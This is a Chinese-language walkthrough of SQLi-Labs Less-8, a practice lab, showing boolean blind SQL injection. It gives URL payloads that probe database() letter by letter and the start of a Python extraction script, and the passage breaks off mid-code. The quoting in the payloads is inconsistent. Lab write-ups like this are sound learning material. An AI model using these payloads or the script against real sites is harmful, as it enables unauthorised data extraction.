SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。
Less 8
SQLI DUMB SERIES-8
判断注入点
当输入id为1时正常显示:
加上单引号就报错了
那就将后面的代码注释就恢复正常显示:
http://sqli-labs.com/Less-8/
?id=1'--+
并通过order语句得到表单字段为3个:
实施注入
布尔(Boolean)盲SQL注入技术是一种SQL注入攻击的形式,它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中,攻击者通过构造特定的SQL语句,尝试修改应用程序的查询语句,以便程序在响应时反映出某些操作结果(如真或假),从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句,使得应用程序的响应结果有所不同。
通过以上信息来看可以确定,这一关可以用布尔盲注的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()
的第一个字符并不是a
,我们需要继续尝试所有英文字母。
http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+
直到我们尝试用s
测试出来它才是目标,并提示“***You are in…”。
http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+
如果在MYSQL中的话则过程则为:
SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;
故我们使用python代码来模拟这个过程并获取到完整目录文件,代码如下 :
import requests
ALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET)
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"
#布尔注入并返回判断
def boolInject(path):
response=requests.get(path)
if response.status_code==200:
if "You are in" in response.text